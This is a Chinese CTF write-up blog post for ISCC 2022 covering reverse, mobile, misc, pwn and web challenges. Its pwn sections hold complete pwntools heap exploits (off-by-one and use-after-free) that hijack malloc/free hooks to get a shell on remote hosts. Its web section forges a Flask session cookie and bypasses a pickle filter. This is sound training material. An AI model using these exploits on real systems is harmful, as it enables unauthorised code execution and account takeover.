s.add(mith[4] + 41 * mith[6] - mith[5] - 25 * mith[7] == 0x6FAA694D1)
if s.check():
    #print(s.model())
    tmp = str(s.model())
flag = [0,0,0,0,0,0,0,0]
begin = 1
while begin < len(tmp):
    flag[int(tmp[begin:begin+1],10)] = int(tmp[begin+4:begin+14],10)
    begin += 17
for i in range(len(flag)):
    tmp = str(hex(flag[i]))[2:]
    for j in range(0,8,2):
        print(chr(int(tmp[j:j+2],16)),end='')
#ISCC{KGACPRSC-YQBHDIXK-PVXFEEBO}

ISCC{KGACPRSC-YQBHDIXK-PVXFEEBO}

Ruststr(未解出,未写

GetTheTable

使用ida64反编译,查看伪代码;发现采用了base58加密,具有明显特征;

img

故使用base58在线解密工具进行解密;http://www.hiencode.com/base58w.html

img

ISCC{cKXBNcd9tDBdG}

Bob’s Code

函数的流程比较简单;

img

故,我们首先将mm该原始数据,进行j_BLmm该函数的字母替换,进而进行两次base64解密;此时我们寻找到两张base64表;可以发现:

img

img

故,此时得到了信息,表2经过了加密,故我们需要再对表2进行解密;

import base64
flag = "W1BqthGbfhNWXVN1BGJifhBVoVpVgOz5YOzqs01FoY1qtWRABWtcuG9koF0"
f = []
for i in range(len(flag)):
    tmp = ord(flag[i])
    if 'A' <= flag[i] <= 'Z':
        tmp = (ord(flag[i]) - 67) % 26 + 65
    elif 'a' <= flag[i] <= 'z':
        tmp = (ord(flag[i]) - 99) % 26 + 97
    f.append(tmp)

flag = ""
for i in f:
    flag += chr(i)
print(flag)

table1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"
tmp_table = []
for i in range(len(table1)):#对ida之中表2的解密
    tmp_table.append(ord(table1[i]))
tb = tmp_table
for i in range(5,19):
    tmp = tmp_table[i]
    tmp_table[i] = tb[i + 26]
    tb[i + 26] = tmp
table1 = ""
for i in range(len(tb)):
    table1 += chr(tb[i])

table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
flag = "".join(flag)+"===="#填充=号字符
print("1. 字母替换: "+flag)
flag = base64.b64decode(flag.translate(str.maketrans(table1,table2)))
print("2. base1: "+str(flag))
flag = base64.b64decode(flag)
print("2. base2: "+str(flag))
#ISCC{XMOntqmU-wK9rfSB0-f4BWx6G8}

ISCC{XMOntqmU-wK9rfSB0-f4BWx6G8}

MOBLIE

MobileA

利用jadx工具进行逆向分析,利用初步分析如下:

img

此时模仿轮替加密来进行对密文符号顺序进行恢复;

a = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
i = 0
i2 = 5
z = False
while i2 >= 0:
    if not z:
        i3 = 3
        while i3 >= 0:
            a[i] = i3 * 6 + i2
            i+=1
            i3-=1
        z = True
    else:
        i4 = 0
        while i4 <= 3:
            a[i] = i4 * 6 + i2
            i+=1
            i4+=1
        z = False
    i2-=1
flag = "=1PmCCY=gQbcBQlnngbhpEEA"
md5 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
l = 0
for i in a:
    md5[i] = flag[l]
    l+=1
for i in range(len(md5)):
    print(md5[i],end='')
#phBcCmEbQbCPEglQY1Anng==

将上述脚本所得到的进行md5解密,结果为yes;

同时发现上面代码之中存在key与iv两个对应AES解密之中的key与偏移量;故根据代码执行流程,先进行Base64加密;然后作为key与偏移量进行AES解密;

K@e2022%%y		-base64->		S0BlMjAyMiUleQ==
I&V2022***		-base64->		SSZWMjAyMioqKg==
MW5QM0JPcklpSEN6L1l4RG1UekhNZz09		-base64解密->			1nP3BOrIiHCz/YxDmTzHMg==

使用AES在线解密网址进行解密

img

ISCC{ASDxv*&^@!FGHJ_yes}

MISC

单板小将苏翊鸣

可以发现附件中图片明显高度过低,故利用winhex修改

img

解码如下:

\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f

利用Unicode解码:

在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?

2022冬奥会共获得15块奖牌,分别为9金4银2铜;所以压缩包的密码为15942;可以得到压缩包里面的flag;

ISCC{beij-dbxj-2009}

降维打击

发现附件为png图片;大小为301KB;故图片隐藏了某些东西;使用foremost

┌──(kali㉿kali)-[~/桌面]

└─$ foremost misc-DimensionalityReductionStrike-14.png -T

Processing: misc-DimensionalityReductionStrike-14.png

|*|

发现多出了一个极其模糊的图片;猜测为LSB等隐写技术;故利用zsteg该解密工具进行尝试;

img

zsteg -E “b1,r,lsb,yx” 00000567.png > p.png

将图片导出;发现为魔女文字,故对照魔女文字进行解密;

img

ISCC{INGZ-AXBP-FXLS}

藏在星空中的诗

附件存在一张psd图片,使用PS打开并将不透明度调至100%,可以发现存在密文;

img

该密文为13524,并通过Poem.txt来得到解压密码

1:☆✪٭☪✲
2:✡🟇⍟⍟✸
3:✡٭🟃✧🟔
4:★✡⍟☆✦
5:🌠✧⚝🟔🞱
解压密码: ☆✪٭☪✲✡٭🟃✧🟔🌠✧⚝🟔🞱✡🟇⍟⍟✸★✡⍟☆✦
根据Exel表之中的密码解密得到如下flag;
1.flag=
2.ISCC{
3.IAWKZ
4.EICFJ
5.TKHZ}
ISCC{IAWKZEICFJTKHZ}

ISCC{IAWKZEICFJTKHZ}

真相只有一个

附件之中存在stream无后缀的文件,故使用hex查看文件格式,猜测为zip;

img

故修改后缀为zip,解压发现需要密码;而发现图片的LSB通道之中隐含部分密码;

img

经过测试发现该密码不完整;故利用ARCHPR进行爆破,发现密码19981111;

然后使用WireShark打开该流量包,发现TFTP传输之中包含了mp3文件,故导出该文件;

img

利用Audacity音频工具打开该mp3文件;

img

发现音频部分解密为isccmisc;而flag.txt部分存在SNOW加密;但是需要密码;故我们利用mp3所得到的密码来对flag.txt进行SNOW解密;得到flag

img

ISCC{vnQd-Hjnf-yEev}

2022冬奥会

附件之中存在题图,使用winhex打开修改高度;

img

发现原图片之中隐藏的密文;

img

发现其为NCR编码;解密发现原文;

img

并且题目提示"2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦"

故原型分别为熊猫和灯笼,而提示了国宝(熊猫),那么就剩下了灯笼,尝试"灯笼"

发现压缩包密码为"灯笼";解压,发现存在图片jpg;修改后缀明为txt打开,发现flag;

ISCC{beij-dahb-1042}

隐秘的信息

首先已知信息为ZWFzeV90b19maW5kX3RoZV9mbGFn该字符串,通过base64解密发现easy_to_find_the_flag该字符串;该字符串为压缩包密码;解压发现图片;

经过尝试,查看LSB:

img

使用如下脚本转换为flag;

a = "fffe92a68686f6d4e4d08e96e8686684c2c4e292aa6c8ae8d4e464fa01f8007f"
a = int(a,16)
b = str(bin(a))[17:]

for i in range(0,len(b),8):
    tmp = int(b[i:i+8],2)
    print(chr(tmp),end='')
#ISCC{jrhGKt43BabqIU6Etjr2} ü ?

ISCC{jrhGKt43BabqIU6Etjr2}

藏在星空中的诗-2

发现一长串极具有特征的字符,故使用藏在星空中的诗该题目之中的密文转换表,得到unicode编码;转为字符即可;

这里可以根据较为明显的特征ISCC{}来发现其密文转换表;

这里根据密文可以发现其为unicode编码格式,而字符"I"的unicode编码为\u0049;对于这\🌟🌠🌠✴🟉该符号;即知🌠对于0,✴对于4,🟉对应9;

同时这三个字符🌠对应U+1F320,✴对应U+2734,🟉对应U+1F7C9;

可以发现规律,即其特殊符号的unicode编码最后一位对应着原文数字;

同理,我们可以将所有的unicode转换为原文,进而可以转换为中文,即出现flag;

\🌟🌠🌠✴🟉->\u0049
\🌟🌠🌠★⍣->\u0053
\🌟🌠🌠✴⍣->\u0043
\🌟🌠🌠✴⍣->\u0043
\🌟🌠🌠✧≛->\u007b
\🌟🌠🌠✴★->\u0045
\🌟🌠🌠✴⍣->\u0043
\🌟🌠🌠✴✯->\u004f
\🌟🌠🌠✴≛->\u004b
\🌟🌠🌠✴☆->\u0046
\🌟🌠🌠✴🌠->\u0040
\🌟🌠🌠✴🌠->\u0040
\🌟🌠🌠✲☆->\u0026
\🌟🌠🌠✴★->\u0045
\🌟🌠🌠✴✮->\u004e
\🌟🌠🌠✲✸->\u0028
\🌟🌠🌠✧✧->\u0077
\🌟🌠🌠✴✴->\u0044
\🌟🌠🌠✧✴->\u0074
\🌟🌠🌠✧⚝->\u007d
整理得
\u0049\u0053\u0043\u0043\u007b\u0045\u0043\u004f\u004b\u0046\u0040\u0040\u0026\u0045\u004e\u0028\u0077\u0044\u0074\u007d
unicode转中文即可获取flag
ISCC{ECOKF@@&EN(wDt}

ISCC{ECOKF@@&EN(wDt}

套中套(未写,未交

发现附件为压缩包与一个png图片,使用winhex打开png发现头部信息缺失,故添加上png文件头信息;

img

查看图片发现flag的一部分;

img

flag1: wELC0m3_;

img

flag2: _ISCC_Zo2z;

wELC0m3__ISCC_Zo2z

擂台PWN

careless_note

libc版本为2.23远古版本;增删改查皆有;存在off by one漏洞;故可以利用该漏洞造成堆块重叠;

img

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './careless_note'
r = remote('123.57.69.203',8010)
#r = process(binary)
#elf = ELF(binary)
#libc = elf.libc
libc = ELF('/home/pwn/question/iscc/libc-2.23.so')
bss_chunk  =0x06020C0
def Allocate(size=0x18,payload=b'/bin/sh\x00'):
    r.sendlineafter("Your choice :",'1')
    r.sendlineafter("Size of Heap : ",str(size))
    r.sendafter("Content of heap:",payload)

def Edit(index,payload):
    r.sendlineafter("Your choice :",'2')
    r.sendlineafter("Index :",str(index))
    r.sendlineafter("Your choose:",str(1))
    r.sendlineafter("Content of heap : ",payload)

def Free(index):
    r.sendlineafter("Your choice :",'2')
    r.sendlineafter("Index :",str(index))
    r.sendlineafter("Your choose:",str(0))

def Show(index):
    r.sendlineafter("Your choice :",'3')
    r.sendlineafter("Index :",str(index))

one = [0x45226,0x4527a,0xf03a4,0xf1247]
Allocate(0x308)#0
Allocate()#1
Free(0)
Allocate(0x18,b'a'*8)#0
Show(0)#泄露地址
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-232-0x280-libc.symbols['__malloc_hook']# leak libc
malloc_hook = libc_base+libc.symbols['__malloc_hook']

Allocate(0x8)#2
Free(0)
Free(2)

Allocate(0x98)#0
Allocate(0x58)#2
Allocate(0x98)#3
Free(0)
Edit(2,b'b'*0x50+p64(0x100)+p8(0xa0))
Free(3)

Allocate(0x68)#0
Allocate(0x68)#3
Allocate(0x68)#4
Free(0)
Free(3)
Free(4)#堆风水,构造布局
Edit(2,b'c'*0x38+p64(0x71)+p64(malloc_hook-0x23))#常规位置

Allocate(0x68)#0
Allocate(0x68)#3
Edit(3,b'd'*0x13+p64(one[1]+libc_base))#写入__malloc_hook为one_gadget
success("libc_base -> "+hex(libc_base))
success("bss_chunk -> "+hex(bss_chunk))
#gdb.attach(r)
r.sendlineafter("Your choice :",'1')#申请堆块,触发__malloc_hook


r.interactive()
  1. 首先利用unsorted bin块特性泄露libc地址,进而可以计算出system函数地址以及malloc_hook函数地址;
  2. 构造堆分水,进而修改fastbin的fd指针指向malloc_hook-0x23位置,进而修改其为gadget即可;

img

ISCC{7c74-bf11-4428-a609-1f76}

ezuaf

该为64位2.27libc的附件,存在漏洞为UAF;

img

故,我们可以首先申请较大的堆块来泄露地址,进而计算出system地址与free_hook地址;进而利用UAF漏洞造成tcache bin的fd指针指向free_hook,修改其内容为system地址,进而free(“/bin/sh”);获取权限;

from pwn import *
context(log_level='debug',os='linux',arch='amd64')

binary = './ezuaf'
#r = process(binary)
r = remote('123.57.69.203',8020)
elf = ELF(binary)
#libc = elf.libc
libc = ELF('./libc-2.27.so')
def Allocate(size=0x18):
    r.sendlineafter(":",'1')
    r.sendlineafter("Input size:",str(size))

def Edit(index,payload):
    r.sendlineafter(":",'2')
    r.sendlineafter("Input page\n",str(index))
    r.sendlineafter("Input your massage:",payload)

def Free(index):
    r.sendlineafter(":",'3')
    r.sendlineafter("Input page",str(index))

def Show(index):
    r.sendlineafter(":",'4')
    r.sendlineafter("Input page",str(index))


Allocate(0x410)#0	unsorted bin  ->  泄露地址,计算偏移
Allocate()#1		tcache bin    ->  利用UAF,造成任意地址写
Allocate()#2
Free(0)
Show(0)#leak
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols["__malloc_hook"]
system = libc_base+libc.symbols["system"]
free_hook = libc_base+libc.symbols["__free_hook"]

Free(1)
Edit(1,p64(free_hook))#修改tcache的fd指针指向free_hook
Allocate()#3
Allocate()#4
Edit(4,p64(system))#修改free_hook内容为system
Edit(2,b'/bin/sh\x00')#填充"/bin/sh\x00"特殊字符串
success(hex(libc_base))
#gdb.attach(r)
Free(2)#相当于执行了system("/bin/sh");

r.interactive()

ISCC{1ae2-4ac8-403b-97df-13ae}

擂台MISC

666

压缩包存在密码,故使用winhex打开,发现为伪加密;故修改全局方位标记为00;

img

解压发现存在图片与压缩包;而压缩包是存在密码的,故我们猜测密码位于图片之中,故我们采用隐写工具steghide来搜索图片之中可能存在的隐藏的内容

img

发现新的图片,故我们尝试修改高度,发现特殊字符:

img

!@#$%678()_+为压缩包密码,其中为流量包,经过一番搜索,发现了一个神秘的网址;

img

神秘的链接,发现为一个gif动态图,然后

img

base1:SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

img

img

base2:pQLKpP/EPmw301eZRzuYvQ==

共三段base64密文,可以拼凑为两个base64密文,进行解密发现为:

HIDEkey:852 987456321 98423 98423 REALkey:xSxx

通过九宫格键可以推导出ISCC,故我们接下来进行AES解密:

AES解密网站,进行解密:(得到flag

img

ISCC{lbwmeiyoukaig}

擂台Reverse

Encode(未写完

代码流程较为简单,如下,则进入encode函数分析代码流程;

img

如下,为encode函数加密过程:

img

擂台Web

Melody

首先通过查看源码,发现一个有趣的链接:

img

访问之后,提示只能用Melody浏览器登录;故使用BP抓包工具修改User-Agent:User-Agent: Melody再次访问;再次提示The url format of the query information:/info/?Melody=

说明存在Melody该GET变量;通过测试发现存在SSTI模板注入;

img

此时发现通用密钥,故可以利用SECRET_KEY来绕过flask的session认证;meldoy-is-so-cute-wawawa!;如下利用python之中的flask-unsign工具来自动破解secretkey,然后修改cookie内容并重新签名;

┌──(kali㉿kali)-[~/.local/bin]

└─$ python3 flask-unsign --sign --cookie “{‘username’:‘admin’}” --secret ‘meldoy-is-so-cute-wawawa!’

eyJ1c2VybmFtZSI6ImFkbWluIn0.YnSNQg.8SUJyF58jVP7UHQMHMtTQ_JkiUY

此时登录,并修改Cookie保持会话为如上内容!此时,发现没有flag;但是查看源码时候,发现了view-source:http://59.110.159.206:7040/static/real_flag_part.py该源码;引用了pickle库;故可以利用pickle反序列化来获取flag

# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request

class register:
    def __init__(self,name,password):#初始化账户密码
        self.name = name
        self.password = password

    def __eq__(self, other):#当使用==将会调用该函数 判断账户密码是否相同
        return type(other) is register and self.name == other.name and self.password == other.password


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module[0:8] == '__main__':
            return getattr(sys.modules['__main__'],name)#返回对象的属性值
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def find(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()#load()将对象反序列化
#发现/therealflag页面,方式拥有GET、POST传参
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
    if request.method == 'POST':#需要POST传参
        try:
            data = request.form.get('melody')#获取表单参数molody
            if b'R' in base64.b64decode(data):#不允许存在object.__reduce__()方法
                return 'no reduce'
            else:
                result = find(base64.b64decode(data))#base64解码 并执行RestrictedUnpickler函数
                if type(result) is not register:#判断类型
                    return 'The type is not correct!'
            correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
            if correct:
                if session['username'] == 'admin':#判断会话是否为admin
                    return Response(read('./flag.txt'))#返回flag
                else:
                    return Response("You're not admin!")
        except Exception as e:
            return Response(str(e))
#如果直接访问/therealflag页面,将会返回一个base64加密的序列化函数
    test = register('admin', '123456')
    data = base64.b64encode(pickle.dumps(test)).decode()
    return Response(data)

故利用pickle反序列化进行攻击,如下为脚本;

import requests
import pickle
import pickletools
import base64
class register:
    def __init__(self,name,password):#初始化账户密码
        self.name = name
        self.password = password

a = pickle.dumps(register("melody","hug"))#该处无需添加参数,protocol=0
c = pickletools.optimize(a)#精简序列
#pickletools.dis(c)
if b'R' in c:#判断是否合法
    print("no")

pick = base64.b64encode(c)
url = "http://59.110.159.206:7040/therealflag"
head = {
    "Cookie": "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YnSNQg.8SUJyF58jVP7UHQMHMtTQ_JkiUY"
}
data = {
     "melody": pick
}
r = requests.post(url=url,data=data,headers=head)
print(r.text)

ISCC{2022_melody_secrets}

posted @ 2022-06-13 11:42  望权栈  阅读(361)  评论(0编辑  收藏  举报  来源